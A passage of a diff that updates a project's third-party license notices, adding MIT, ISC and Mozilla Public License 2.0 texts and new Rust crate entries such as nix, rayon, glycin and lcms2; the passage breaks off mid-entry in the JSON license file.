+~~~~text
+MIT License
+
+Copyright (c) 2023 Marti Maria Saguer
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the 
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to 
+permit persons to whom the Software is furnished to do so, subject
+to the following conditions:
+
+The above copyright notice and this permission notice shall be 
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE 
+SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+~~~~
+
+### MIT License
+
+Used by:
+
 - sse-stream 0.2.6
 
 ~~~~text
@@ -8771,12 +9094,16 @@ DEALINGS IN THE SOFTWARE.
 
 Used by:
 
+- async-channel 2.5.0
 - async-lock 3.4.2
+- async-task 4.7.1
 - async-trait 0.1.92
 - atomic-waker 1.1.2
+- blocking 1.7.0
 - clickhouse-macros 0.3.0
 - clickhouse-types 0.1.3
 - clickhouse 0.15.2
+- concurrent-queue 2.5.0
 - derive-syn-parse 0.2.0
 - displaydoc 0.2.7
 - dyn-clone 1.0.20
@@ -8797,8 +9124,10 @@ Used by:
 - once_cell 1.21.4
 - ordered-stream 0.2.0
 - parking 2.2.1
+- paste 1.0.15
 - pastey 0.2.3
 - pin-project-lite 0.2.17
+- piper 0.2.5
 - portable-atomic 1.15.0
 - proc-macro-crate 3.5.0
 - proc-macro2 1.0.107
@@ -9240,6 +9569,8 @@ Used by:
 - byteorder 1.5.0
 - csv-core 0.1.13
 - csv 1.4.0
+- jiff-core 0.1.1
+- jiff 0.2.37
 - memchr 2.8.3
 
 ~~~~text
@@ -9271,6 +9602,37 @@ THE SOFTWARE.
 
 Used by:
 
+- nix 0.30.1
+
+~~~~text
+The MIT License (MIT)
+
+Copyright (c) 2015 Carl Lerche + nix-rust Authors
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+~~~~
+
+### MIT License
+
+Used by:
+
 - strsim 0.11.1
 
 ~~~~text
@@ -9660,6 +10022,7 @@ CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 Used by:
 
 - crossbeam-channel 0.5.17
+- crossbeam-deque 0.8.8
 - crossbeam-epoch 0.9.21
 - crossbeam-queue 0.3.14
 - crossbeam-utils 0.8.23
@@ -9817,6 +10180,41 @@ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 SOFTWARE.
 
+~~~~
+
+### MIT License
+
+Used by:
+
+- yeslogic-fontconfig-sys 6.0.1
+
+~~~~text
+The MIT License (MIT)
+
+Copyright 2019 YesLogic Pty. Ltd.
+Copyright 2016 Manuel Reinhardt
+Copyright 2014 Austin Bonander
+Copyright 2013 The Servo Project Developers.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+
 ~~~~
 
 ### MIT License
@@ -10217,6 +10615,393 @@ Copyright notices are retained in src/* files where relevant.
 
 ~~~~
 
+### Mozilla Public License 2.0
+
+Used by:
+
+- glycin-common 1.0.4
+- glycin-utils 4.1.0
+- glycin 3.1.0
+- gufo-common 1.1.0
+- gufo-exif 0.4.0
+
+~~~~text
+Mozilla Public License Version 2.0
+==================================
+
+1. Definitions
+--------------
+
+1.1. "Contributor"
+    means each individual or legal entity that creates, contributes to
+    the creation of, or owns Covered Software.
+
+1.2. "Contributor Version"
+    means the combination of the Contributions of others (if any) used
+    by a Contributor and that particular Contributor's Contribution.
+
+1.3. "Contribution"
+    means Covered Software of a particular Contributor.
+
+1.4. "Covered Software"
+    means Source Code Form to which the initial Contributor has attached
+    the notice in Exhibit A, the Executable Form of such Source Code
+    Form, and Modifications of such Source Code Form, in each case
+    including portions thereof.
+
+1.5. "Incompatible With Secondary Licenses"
+    means
+
+    (a) that the initial Contributor has attached the notice described
+        in Exhibit B to the Covered Software; or
+
+    (b) that the Covered Software was made available under the terms of
+        version 1.1 or earlier of the License, but not also under the
+        terms of a Secondary License.
+
+1.6. "Executable Form"
+    means any form of the work other than Source Code Form.
+
+1.7. "Larger Work"
+    means a work that combines Covered Software with other material, in
+    a separate file or files, that is not Covered Software.
+
+1.8. "License"
+    means this document.
+
+1.9. "Licensable"
+    means having the right to grant, to the maximum extent possible,
+    whether at the time of the initial grant or subsequently, any and
+    all of the rights conveyed by this License.
+
+1.10. "Modifications"
+    means any of the following:
+
+    (a) any file in Source Code Form that results from an addition to,
+        deletion from, or modification of the contents of Covered
+        Software; or
+
+    (b) any new file in Source Code Form that contains any Covered
+        Software.
+
+1.11. "Patent Claims" of a Contributor
+    means any patent claim(s), including without limitation, method,
+    process, and apparatus claims, in any patent Licensable by such
+    Contributor that would be infringed, but for the grant of the
+    License, by the making, using, selling, offering for sale, having
+    made, import, or transfer of either its Contributions or its
+    Contributor Version.
+
+1.12. "Secondary License"
+    means either the GNU General Public License, Version 2.0, the GNU
+    Lesser General Public License, Version 2.1, the GNU Affero General
+    Public License, Version 3.0, or any later versions of those
+    licenses.
+
+1.13. "Source Code Form"
+    means the form of the work preferred for making modifications.
+
+1.14. "You" (or "Your")
+    means an individual or a legal entity exercising rights under this
+    License. For legal entities, "You" includes any entity that
+    controls, is controlled by, or is under common control with You. For
+    purposes of this definition, "control" means (a) the power, direct
+    or indirect, to cause the direction or management of such entity,
+    whether by contract or otherwise, or (b) ownership of more than
+    fifty percent (50%) of the outstanding shares or beneficial
+    ownership of such entity.
+
+2. License Grants and Conditions
+--------------------------------
+
+2.1. Grants
+
+Each Contributor hereby grants You a world-wide, royalty-free,
+non-exclusive license:
+
+(a) under intellectual property rights (other than patent or trademark)
+    Licensable by such Contributor to use, reproduce, make available,
+    modify, display, perform, distribute, and otherwise exploit its
+    Contributions, either on an unmodified basis, with Modifications, or
+    as part of a Larger Work; and
+
+(b) under Patent Claims of such Contributor to make, use, sell, offer
+    for sale, have made, import, and otherwise transfer either its
+    Contributions or its Contributor Version.
+
+2.2. Effective Date
+
+The licenses granted in Section 2.1 with respect to any Contribution
+become effective for each Contribution on the date the Contributor first
+distributes such Contribution.
+
+2.3. Limitations on Grant Scope
+
+The licenses granted in this Section 2 are the only rights granted under
+this License. No additional rights or licenses will be implied from the
+distribution or licensing of Covered Software under this License.
+Notwithstanding Section 2.1(b) above, no patent license is granted by a
+Contributor:
+
+(a) for any code that a Contributor has removed from Covered Software;
+    or
+
+(b) for infringements caused by: (i) Your and any other third party's
+    modifications of Covered Software, or (ii) the combination of its
+    Contributions with other software (except as part of its Contributor
+    Version); or
+
+(c) under Patent Claims infringed by Covered Software in the absence of
+    its Contributions.
+
+This License does not grant any rights in the trademarks, service marks,
+or logos of any Contributor (except as may be necessary to comply with
+the notice requirements in Section 3.4).
+
+2.4. Subsequent Licenses
+
+No Contributor makes additional grants as a result of Your choice to
+distribute the Covered Software under a subsequent version of this
+License (see Section 10.2) or under the terms of a Secondary License (if
+permitted under the terms of Section 3.3).
+
+2.5. Representation
+
+Each Contributor represents that the Contributor believes its
+Contributions are its original creation(s) or it has sufficient rights
+to grant the rights to its Contributions conveyed by this License.
+
+2.6. Fair Use
+
+This License is not intended to limit any rights You have under
+applicable copyright doctrines of fair use, fair dealing, or other
+equivalents.
+
+2.7. Conditions
+
+Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted
+in Section 2.1.
+
+3. Responsibilities
+-------------------
+
+3.1. Distribution of Source Form
+
+All distribution of Covered Software in Source Code Form, including any
+Modifications that You create or to which You contribute, must be under
+the terms of this License. You must inform recipients that the Source
+Code Form of the Covered Software is governed by the terms of this
+License, and how they can obtain a copy of this License. You may not
+attempt to alter or restrict the recipients' rights in the Source Code
+Form.
+
+3.2. Distribution of Executable Form
+
+If You distribute Covered Software in Executable Form then:
+
+(a) such Covered Software must also be made available in Source Code
+    Form, as described in Section 3.1, and You must inform recipients of
+    the Executable Form how they can obtain a copy of such Source Code
+    Form by reasonable means in a timely manner, at a charge no more
+    than the cost of distribution to the recipient; and
+
+(b) You may distribute such Executable Form under the terms of this
+    License, or sublicense it under different terms, provided that the
+    license for the Executable Form does not attempt to limit or alter
+    the recipients' rights in the Source Code Form under this License.
+
+3.3. Distribution of a Larger Work
+
+You may create and distribute a Larger Work under terms of Your choice,
+provided that You also comply with the requirements of this License for
+the Covered Software. If the Larger Work is a combination of Covered
+Software with a work governed by one or more Secondary Licenses, and the
+Covered Software is not Incompatible With Secondary Licenses, this
+License permits You to additionally distribute such Covered Software
+under the terms of such Secondary License(s), so that the recipient of
+the Larger Work may, at their option, further distribute the Covered
+Software under the terms of either this License or such Secondary
+License(s).
+
+3.4. Notices
+
+You may not remove or alter the substance of any license notices
+(including copyright notices, patent notices, disclaimers of warranty,
+or limitations of liability) contained within the Source Code Form of
+the Covered Software, except that You may alter any license notices to
+the extent required to remedy known factual inaccuracies.
+
+3.5. Application of Additional Terms
+
+You may choose to offer, and to charge a fee for, warranty, support,
+indemnity or liability obligations to one or more recipients of Covered
+Software. However, You may do so only on Your own behalf, and not on
+behalf of any Contributor. You must make it absolutely clear that any
+such warranty, support, indemnity, or liability obligation is offered by
+You alone, and You hereby agree to indemnify every Contributor for any
+liability incurred by such Contributor as a result of warranty, support,
+indemnity or liability terms You offer. You may include additional
+disclaimers of warranty and limitations of liability specific to any
+jurisdiction.
+
+4. Inability to Comply Due to Statute or Regulation
+---------------------------------------------------
+
+If it is impossible for You to comply with any of the terms of this
+License with respect to some or all of the Covered Software due to
+statute, judicial order, or regulation then You must: (a) comply with
+the terms of this License to the maximum extent possible; and (b)
+describe the limitations and the code they affect. Such description must
+be placed in a text file included with all distributions of the Covered
+Software under this License. Except to the extent prohibited by statute
+or regulation, such description must be sufficiently detailed for a
+recipient of ordinary skill to be able to understand it.
+
+5. Termination
+--------------
+
+5.1. The rights granted under this License will terminate automatically
+if You fail to comply with any of its terms. However, if You become
+compliant, then the rights granted under this License from a particular
+Contributor are reinstated (a) provisionally, unless and until such
+Contributor explicitly and finally terminates Your grants, and (b) on an
+ongoing basis, if such Contributor fails to notify You of the
+non-compliance by some reasonable means prior to 60 days after You have
+come back into compliance. Moreover, Your grants from a particular
+Contributor are reinstated on an ongoing basis if such Contributor
+notifies You of the non-compliance by some reasonable means, this is the
+first time You have received notice of non-compliance with this License
+from such Contributor, and You become compliant prior to 30 days after
+Your receipt of the notice.
+
+5.2. If You initiate litigation against any entity by asserting a patent
+infringement claim (excluding declaratory judgment actions,
+counter-claims, and cross-claims) alleging that a Contributor Version
+directly or indirectly infringes any patent, then the rights granted to
+You by any and all Contributors for the Covered Software under Section
+2.1 of this License shall terminate.
+
+5.3. In the event of termination under Sections 5.1 or 5.2 above, all
+end user license agreements (excluding distributors and resellers) which
+have been validly granted by You or Your distributors under this License
+prior to termination shall survive termination.
+
+************************************************************************
+*                                                                      *
+*  6. Disclaimer of Warranty                                           *
+*  -------------------------                                           *
+*                                                                      *
+*  Covered Software is provided under this License on an "as is"       *
+*  basis, without warranty of any kind, either expressed, implied, or  *
+*  statutory, including, without limitation, warranties that the       *
+*  Covered Software is free of defects, merchantable, fit for a        *
+*  particular purpose or non-infringing. The entire risk as to the     *
+*  quality and performance of the Covered Software is with You.        *
+*  Should any Covered Software prove defective in any respect, You     *
+*  (not any Contributor) assume the cost of any necessary servicing,   *
+*  repair, or correction. This disclaimer of warranty constitutes an   *
+*  essential part of this License. No use of any Covered Software is   *
+*  authorized under this License except under this disclaimer.         *
+*                                                                      *
+************************************************************************
+
+************************************************************************
+*                                                                      *
+*  7. Limitation of Liability                                          *
+*  --------------------------                                          *
+*                                                                      *
+*  Under no circumstances and under no legal theory, whether tort      *
+*  (including negligence), contract, or otherwise, shall any           *
+*  Contributor, or anyone who distributes Covered Software as          *
+*  permitted above, be liable to You for any direct, indirect,         *
+*  special, incidental, or consequential damages of any character      *
+*  including, without limitation, damages for lost profits, loss of    *
+*  goodwill, work stoppage, computer failure or malfunction, or any    *
+*  and all other commercial damages or losses, even if such party      *
+*  shall have been informed of the possibility of such damages. This   *
+*  limitation of liability shall not apply to liability for death or   *
+*  personal injury resulting from such party's negligence to the       *
+*  extent applicable law prohibits such limitation. Some               *
+*  jurisdictions do not allow the exclusion or limitation of           *
+*  incidental or consequential damages, so this exclusion and          *
+*  limitation may not apply to You.                                    *
+*                                                                      *
+************************************************************************
+
+8. Litigation
+-------------
+
+Any litigation relating to this License may be brought only in the
+courts of a jurisdiction where the defendant maintains its principal
+place of business and such litigation shall be governed by laws of that
+jurisdiction, without reference to its conflict-of-law provisions.
+Nothing in this Section shall prevent a party's ability to bring
+cross-claims or counter-claims.
+
+9. Miscellaneous
+----------------
+
+This License represents the complete agreement concerning the subject
+matter hereof. If any provision of this License is held to be
+unenforceable, such provision shall be reformed only to the extent
+necessary to make it enforceable. Any law or regulation which provides
+that the language of a contract shall be construed against the drafter
+shall not be used to construe this License against a Contributor.
+
+10. Versions of the License
+---------------------------
+
+10.1. New Versions
+
+Mozilla Foundation is the license steward. Except as provided in Section
+10.3, no one other than the license steward has the right to modify or
+publish new versions of this License. Each version will be given a
+distinguishing version number.
+
+10.2. Effect of New Versions
+
+You may distribute the Covered Software under the terms of the version
+of the License under which You originally received the Covered Software,
+or under the terms of any subsequent version published by the license
+steward.
+
+10.3. Modified Versions
+
+If you create software not governed by this License, and you want to
+create a new license for such software, you may create and use a
+modified version of this License if you rename the license and remove
+any references to the name of the license steward (except to note that
+such modified license differs from this License).
+
+10.4. Distributing Source Code Form that is Incompatible With Secondary
+Licenses
+
+If You choose to distribute Source Code Form that is Incompatible With
+Secondary Licenses under the terms of this version of the License, the
+notice described in Exhibit B of this License must be attached.
+
+Exhibit A - Source Code Form License Notice
+-------------------------------------------
+
+  This Source Code Form is subject to the terms of the Mozilla Public
+  License, v. 2.0. If a copy of the MPL was not distributed with this
+  file, You can obtain one at https://mozilla.org/MPL/2.0/.
+
+If it is not possible or desirable to put the notice in a particular
+file, then You may include the notice in a location (such as a LICENSE
+file in a relevant directory) where a recipient would be likely to look
+for such a notice.
+
+You may add additional accurate notices of copyright ownership.
+
+Exhibit B - "Incompatible With Secondary Licenses" Notice
+---------------------------------------------------------
+
+  This Source Code Form is "Incompatible With Secondary Licenses", as
+  defined by the Mozilla Public License, v. 2.0.
+
+~~~~
+
 ### Unicode License v3
 
 Used by:
diff --git a/linux/data/licenses/third-party.json b/linux/data/licenses/third-party.json
index 0a05162944..4fc842561c 100644
--- a/linux/data/licenses/third-party.json
+++ b/linux/data/licenses/third-party.json
@@ -165,6 +165,14 @@
         { "crate": { "name": "aws-lc-sys", "version": "0.45.0" } }
       ]
     },
+    {
+      "id": "ISC",
+      "name": "ISC License",
+      "text": "Copyright © 2015, Simonas Kazlauskas\n\nPermission to use, copy, modify, and/or distribute this software for any purpose with or without\nfee is hereby granted, provided that the above copyright notice and this permission notice appear\nin all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS\nSOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\nAUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,\nNEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF\nTHIS SOFTWARE.\n",
+      "used_by": [
+        { "crate": { "name": "libloading", "version": "0.8.9" } }
+      ]
+    },
     {
       "id": "ISC",
       "name": "ISC License",
@@ -241,7 +249,9 @@
       "name": "MIT License",
       "text": "Copyright (c) 2010 The Rust Project Developers\n\nPermission is hereby granted, free of charge, to any\nperson obtaining a copy of this software and associated\ndocumentation files (the \"Software\"), to deal in the\nSoftware without restriction, including without\nlimitation the rights to use, copy, modify, merge,\npublish, distribute, sublicense, and/or sell copies of\nthe Software, and to permit persons to whom the Software\nis furnished to do so, subject to the following\nconditions:\n\nThe above copyright notice and this permission notice\nshall be included in all copies or substantial portions\nof the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\nANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\nTO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\nSHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR\nIN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\nDEALINGS IN THE SOFTWARE.\n",
       "used_by": [
-        { "crate": { "name": "lazy_static", "version": "1.5.0" } }
+        { "crate": { "name": "lazy_static", "version": "1.5.0" } },
+        { "crate": { "name": "rayon-core", "version": "1.13.0" } },
+        { "crate": { "name": "rayon", "version": "1.12.0" } }
       ]
     },
     {
@@ -449,6 +459,14 @@
         { "crate": { "name": "unicode_categories", "version": "0.1.1" } }
       ]
     },
+    {
+      "id": "MIT",
+      "name": "MIT License",
+      "text": "Copyright (c) 2015 Victor Berger\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.",
+      "used_by": [
+        { "crate": { "name": "dlib", "version": "0.5.3" } }
+      ]
+    },
     {
       "id": "MIT",
       "name": "MIT License",
@@ -625,6 +643,16 @@
         { "crate": { "name": "stable_deref_trait", "version": "1.2.1" } }
       ]
     },
+    {
+      "id": "MIT",
+      "name": "MIT License",
+      "text": "Copyright (c) 2017 The foreign-types Developers\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n",
+      "used_by": [
+        { "crate": { "name": "foreign-types-macros", "version": "0.2.4" } },
+        { "crate": { "name": "foreign-types-shared", "version": "0.3.1" } },
+        { "crate": { "name": "foreign-types", "version": "0.5.0" } }
+      ]
+    },
     {
       "id": "MIT",
       "name": "MIT License",
@@ -913,6 +941,14 @@
         { "crate": { "name": "arcstr", "version": "1.2.0" } }
       ]
     },
+    {
+      "id": "MIT",
+      "name": "MIT License",
+      "text": "Copyright (c) 2020 Yevhenii Reizner\nCopyright (c) 2015 Dan Burkert\n\nPermission is hereby granted, free of charge, to any\nperson obtaining a copy of this software and associated\ndocumentation files (the \"Software\"), to deal in the\nSoftware without restriction, including without\nlimitation the rights to use, copy, modify, merge,\npublish, distribute, sublicense, and/or sell copies of\nthe Software, and to permit persons to whom the Software\nis furnished to do so, subject to the following\nconditions:\n\nThe above copyright notice and this permission notice\nshall be included in all copies or substantial portions\nof the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\nANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\nTO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\nSHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR\nIN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\nDEALINGS IN THE SOFTWARE.\n",
+      "used_by": [
+        { "crate": { "name": "memmap2", "version": "0.9.12" } }
+      ]
+    },
     {
       "id": "MIT",
       "name": "MIT License",
@@ -1114,6 +1150,8 @@
       "name": "MIT License",
       "text": "Copyright (c) Individual contributors\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n",
       "used_by": [
+        { "crate": { "name": "env_filter", "version": "2.0.0" } },
+        { "crate": { "name": "env_logger", "version": "0.11.11" } },
         { "crate": { "name": "toml_datetime", "version": "1.1.1+spec-1.1.0" } },
         { "crate": { "name": "toml_edit", "version": "0.25.15+spec-1.1.0" } },
         { "crate": { "name": "toml_parser", "version": "1.1.3+spec-1.1.0" } }
@@ -1137,6 +1175,14 @@
         { "crate": { "name": "time", "version": "0.3.55" } }
       ]
     },
+    {
+      "id": "MIT",
+      "name": "MIT License",
+      "text": "Copyright (c) Kornel Lesiński\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n",
+      "used_by": [
+        { "crate": { "name": "lcms2", "version": "6.2.0" } }
+      ]
+    },
     {
       "id": "MIT",
       "name": "MIT License",
@@ -1253,6 +1299,14 @@
         { "crate": { "name": "zerocopy", "version": "0.8.57" } }
       ]
     },
+    {
+      "id": "MIT",
+      "name": "MIT License",
+      "text": "Copyright <YEAR> <COPYRIGHT HOLDER>\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and\nassociated documentation files (the \"Software\"), to deal in the Software without restriction,\nincluding without limitation the rights to use, copy, modify, merge, publish, distribute,\nsublicense, and/or sell copies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or\nsubstantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT\nNOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\nDAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT\nOF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n",
+      "used_by": [
+        { "crate": { "name": "memfd", "version": "0.6.6" } }
+      ]
+    },
     {
       "id": "MIT",
       "name": "MIT License",
@@ -1287,6 +1341,23 @@
         { "crate": { "name": "tap", "version": "1.0.1" } }
       ]
     },
+    {
+      "id": "MIT",
+      "name": "MIT License",
+      "text": "MIT License\n\nCopyright (c) 2017 Evgeny Safronov\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n",
+      "used_by": [
+        { "crate": { "name": "rmp-serde", "version": "1.3.1" } },
+        { "crate": { "name": "rmp", "version": "0.8.15" } }
+      ]
+    },
+    {
+      "id": "MIT",
+      "name": "MIT License",
